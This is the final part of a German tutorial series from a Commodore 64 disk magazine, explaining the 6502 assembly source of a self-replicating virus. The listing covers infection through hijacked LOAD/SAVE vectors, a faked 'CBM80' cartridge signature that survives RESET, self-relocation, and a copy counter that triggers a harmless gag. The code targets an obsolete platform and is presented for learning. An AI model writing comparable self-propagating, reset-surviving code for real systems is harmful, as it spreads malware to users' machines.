Heute, im 6 . und letzten Teil des Virenkurses wollen
wir noch die bisher unbehandelten kleinen, aber nicht
unwichtigen Routinen besprechen, die unserem Virus
das Leben im C64 ermöglichen.
Mittlerweile wissen wir ja schon, wie sich unser
kleiner Freund vermehrt, nämlich mit Hilfe der LOADund SAVE-Vektoren, über die er sich sozusagen ins
System " reinhängt" und sich somit bei einem Ladeoder Speichervorgang problemlos vor ein noch nicht
infiziertes Programm hängen kann.
Nun wollen wir uns mit der Initialisierungsroutine
beschäftigen, die z. B. die Aufgabe hat, eben diese
Vektoren zu " verbiegen" . Der aufmerksame Leser wird
sie sicher schon gefunden haben. Sie heißt sinnigerweise INIT und steht im Sourcelisting ab Zeile 2072 :
2072 -init lda #01 ;Copyzähler 2073 - sta copy ;initialisieren
In diesen zwei Zeilen wird der Zähler für die Anzahl
der bisher gemachten Kopien des Virus auf 1 gesetzt.
Dieser Zähler ist ein einzelnes Byte im Quelltext
( bei Zeile 2203), das jedesmal, wenn sich der Virus
erfolgreich kopiert hat um 1 erhöht wird. Nach jeder
Kopie prüft die Saveroutine nämlich, ob sich der
Virus schon acht mal kopiert hat. Sollte dies der
Fall sein, dann wird zu der bereits erwähnten Gagroutine verzweigt, die ab Zeile 5060 steht. Diese
Routine läßt erst eine kleine Spriteanimation ablaufen und teilt dem verdutzten C64- Besitzer dann die
Existenz des Virus mit. Hier ein Auszug aus der Saveroutine:
2810 - jsr savecont 2812 - jsr saveerror 2820 -; 2830 - asl copy ;copy linksrotieren 2840 - bcs gag ;Carry gesetzt, dann Gag 2850 - rts ;noch nicht 8 mal kopiert
Die Zeilen 2810 und 2812 kennen Sie ja noch aus der
letzten Ausgabe, deshalb erfolgt hier keine Erklärung. In Zeile 2830 wird der Inhalt der Speicherzelle
COPY nach links rotiert. Das heißt, daß der Startwert
( nämlich 1), den wir am Anfang von INIT hineingeschrieben hatten, solange weitergeschoben wird, bis
er ins Carryflag überläuft. Und da ein Byte acht Bit
besitzt, muß acht mal rotiert werden, damit dieser
Fall eintritt.
Wenden wir uns nun wieder der INIT-Routine zu:
2080 -init2 ldy #03 ;Zähler laden 2090 -loop3 lda tab,y ;Vektortabelle 2100 - sta $0330,y ;umkopieren 2110 - dey ;Zähler herunterzählen 2120 - bpl loop3 ;Fertig? 2130 -; 2140 - ldy #08 ;Ja -> Zähler laden. 2150 -loop4 lda cbm,y ;Reset-Kennung 2160 - sta $8000,y ;umkopieren 2170 - dey ;Zähler herunterzählen 2180 - bpl loop4 ;Fertig? 2190 -; 2200 - rts ;Feritg!
Hier wird nun zweimal eine Tabelle weiterkopiert. Und
zwar nach dem selben Schema, nach dem wir auch den
Filenamen in der LOAD-Routine umkopiert haben.
In der ersten Schleife wird in die Bytes $0330 bis
$0333 geschrieben. Dies sind die Bytes der LOADund
SAVE-Vektoren ( Load=$0330,$0331 ; Save=$0332,$0333) .
Sehen wir uns nun die Tabelle an, die umkopiert wird:
10070- tab . wo load, save
Hier haben wir es wieder mit einem sog. Pseudo-Opcode
des Hypra-Ass Assemblers zu tun. Genau wie man bei
dem Opcode " . eq" einer Konstanten einen Wert zuweist
oder mit " . by 255" den Assembler dazu veranlaßt, an
diese Stelle den Wert 255 zu schreiben, so wird mit
dem " . wo"( wie WOrd, was eine Bezeichnung für ein 16- Bit-Wort ist, sowie " . by" die Bezeichnung für ein
Byte zu 8 Bit ist) eine Konstante bzw. in unserem
Fall ein Label im LO/ HI-Format hier abgelegt.
Die zweite Schleife der INIT-Routine ist für den
RESET-Schutz zuständig. In der RESET-Routine fragt
das Betriebssystem die Speicherzellen $8004 bis $8008 ab, ob hier der ASCII-Code " CBM80" steht. Sollte dies
der Fall sein, so glaubt das Betriebssystem, daß ein
Modul in den Expansion-Port gesteckt ist und es wird
über den Vektor in $8000/$8001 gesprungen, anstatt
einen " normalen" Reset auszuführen.
Diese Tatsache machen wir uns nun zu Nutze. Wir
" simulieren" nämlich ein angestecktes Modul durch
diese Kennung. Das Betriebssystem glaubt nun, es wäre
ein Modul eingesteckt und springt über den Vektor in
$8000/$8001, und damit genau in unsere eigene Virus-Resetroutine. Diese steht ab Programmzeile 930 :
930 -reset stx $d016 ;Videocont. Steuerreg.2 940 - jsr $fda3 ;Interrupt vorbereiten 950 - jsr $fd50 ;RAM-Check 960 - jsr $fd15 ;Vektoren setzen 970 - jsr $ff5b ;Video-Reset 980 - cli ;IRQ zulassen 990 - jsr init2 ;Virus starten 1000 - jmp ($a000) ;BASIC-Kaltstart
Diese Routine ist fast gänzlich aus dem normalen
Betriebssystem übernommen. Der einzige Unterschied
ist hier die Zeile 990 . Nachdem das Betriebssystem
alle Vektoren wieder in den Originalzustand versetzt
hat, müssen wir hier wieder den Virus initialisieren.
Es wird hier nicht auf INIT gesprungen, sondern auf
INIT2, da ja der Zähler für die Anzahl der schon gemachten Kopien nicht neu gesetzt werden soll.
Vor einem RESET braucht sich unser Virus also nicht
mehr zu fürchten. Was ihm jetzt noch zustoßen könnte, wäre ein Druck auf die RUN/ STOP-RESTORE- Tasten.
Diese Kombination haben wir aber schon mit abgefangen, nämlich ebenfalls durch die CBM80- Kennung. Ist
diese vorhanden, so wird über den Vektor $8002/$8003 gesprungen, der natürlich ebenfalls in unser Virusprogramm zeigt. Und zwar auf die Routine, die ab
Zeile 840 im Quellisting steht:
840 -restore jsr $fd15 850 - jsr $fda3 860 - jsr $e518 870 - jsr init2 880 - jmp ($a002)
Gleiches Spiel wie bei RESET, nur weniger aufwendig, da hier weniger passiert.
Es folgt nun die Tabelle, die in der INIT-Routine umkopiert wird:
10050-cbm .wo reset,restore 10060- .tx "CBM80"
Jetzt möchte ich Ihnen noch die Funktion der Routinen
ganz am Anfang des Sources erklären. Werfen wir
einmal einen kleinen Blick auf den Beginn des
Listings:
140 -data .by $15,$08,$0a,$00,$93 150 -.tx "2071:md-virus!" 160 -.by 0,0,0 170 -;******************************** 180 -copyup lda $af 190 - pha 200 - nop 210 - ldy #$08 220 - stx $5f 230 - sty $60 240 - ldx #<(realend) 250 - ldy #>(realend) 260 - stx $5a 270 - sty $5b 280 - ldx #$f0 290 - ldy #$cf 300 - stx $58 310 - sty $59 320 - jsr $a3bf 330 - jmp xxxx
Dies sind die ersten Bytes unseres Virus, die auch
als allererstes an die Floppy geschickt werden, wenn
unser kleiner Freund sich fortpflanzt. Die ersten
drei Zeilen stellen folgendes Basicprogramm dar:
10 SYS2071 : MD-VIRUS!
Mit dem SYS-Befehl wird die in Zeile 180 folgende
COPYUP-Routine aufgerufen. Der Text " MD-VIRUS!" hat
nur eine kommentierende Wirkung. In jener COPYUP-Rou- tine wird als erstes der Virus in einen Speicherbe- reich kopiert, wo er etwas sicherer aufgehoben ist, nämlich in den Bereich $ cbaf bis $ cff0 . Dies
geschieht mit Hilfe einer Routine aus dem BASIC-ROM, nämlich der Routine MOVE. Sie wird folgendermaßen
aufgerufen:
$5 f/$60 : Startadresse des zu kopierenden Blocks $5 a/$5 b : Endadresse des zu kopierenden Blocks $58/$59 : Neue Endadresse des zu kopierenden Blocks Startadresse:$ a3 bf
Nachdem der Virus kopiert ist, muß dieser das infizierte Programm wieder nach unten kopieren, nämlich
an den normalen Basic-Start $0801 . Dies macht die
folgende Routine:
350 -start lda #$36 360 - sta $01 370 -; 371 - ldx #00 372 - ldy #08 373 - stx lab5+1 374 - sty lab5+2 380 - ldx #<(realend) 390 - ldy #>(realend) 400 - stx $fb 410 - sty $fc 420 - ldx $ae 421 - ldy $af 423 - stx $f9 424 - sty $fa 460 -; 470 - ldy #00 475 - ldx #01 480 -loop8 lda ($fb),y 490 -lab5 sta $0801,x 500 - inx 510 - bne lab4 520 - inc lab5+2 530 -lab4 jsr inccount 540 - bcc loop8 640 -; 660 - ldy lab5+2 670 - stx $ae 680 - sty $af 690 - stx $2d 700 - sty $2e 710 -; 720 - lda #$37 730 - sta $01 740 -; 750 - jst init 760 - jsr $a659 770 - jmp $a7ae
Diese Aufgabe kann allerdings nicht mehr von MOVE
übernommen werden, da es auch sehr gut möglich sein
kann, daß das infizierte Programm bis unter das ROM
geht ( ab $ a000) . Also muß dieses ROM weggeblendet
werden, und wir müssen mit einer eigenen Routine arbeiten. Diese steht hier in den Zeilen 480 bis 540 .
Die folgenden Zeilen haben noch die Aufgabe, die
Basic-Vektoren neu auszurichten ( Anfang und Ende des
Programms), da das Programm durch den Virus ja länger
wurde. In Zeile 720 bis 730 wird das Basic-ROM wieder
eingeblendet, nachdem es in den Zeilen 350 und 360 ausgeschaltet wurde. Anschließend wird noch INIT aufgerufen, um den Virus zu aktivieren.
In den Zeilen 760 bis 770 wird dann ein RUN-Befehl
ausgeführt, der das Programm ganz normal startet.
Der Programmierung des kleinen " Gags" soll hier keine
weitere Aufmerksamkeit geschenkt werden, da dies ja
nur ein Nebeneffekt des Virus ist. Seine Programmierung ist außerdem nicht sehr kompliziert, so daß es
jedem möglich sein sollte, diesen Programmteil zu
durchschauen.
Nun sind wir also am Ende unseres Virenkurses angelangt. Ich hoffe, es hat Ihnen ein bißchen Spaß gemacht, der Arbeitsweise eines Virusprogramms gedanklich zu folgen. Sicher ist Ihnen aber auch einiges
über die Funktionsweise eines Virusprogramms klar
geworden. In diesem Sinne kann ich Ihnen nur noch
viel Glück im " Kampf" gegen andere, nicht so harmlose Viren wie den MDV wünschen.
Sicher erinnern Sie sich noch an unsere Fragebogenaktion in der Magic Disk. Bei der Auswertung dieser
Aktion ist uns aufgefallen, daß es immer noch sehr
viele C64- Besitzer gibt, die Anfänger auf dem Gebiet
der Programmierung Ihres C64 sind.
Aus diesem Grund haben wir uns entschlossen, die
Rubrik " Kurs" in den nächsten Ausgaben nicht mehr so
fachbezogen zu gestalten, sondern zunächst einen über
mehrere Ausgaben gehenden Basic-Programmierkurs zu
veröffentlichen.
Damit kommen wir dem Wunsch vieler Leser nach, die
zwar Programmieren lernen wollen, sich aber scheuen, den manchmal dichten Dschungel der Fachliteratur zu
durchwandern.
An den Basickurs werden sich dann wieder mehr fachbezogene Kurse anschließen. Mögliche Themen hierzu sind
künstliche Intelligenz, Maschinensprache, Grafik und
und und. Schreiben Sie uns Ihre Wünsche und Vorstellungen, denn Magic Disk 64 ist und bleibt ein Magazin
von Lesern für Leser.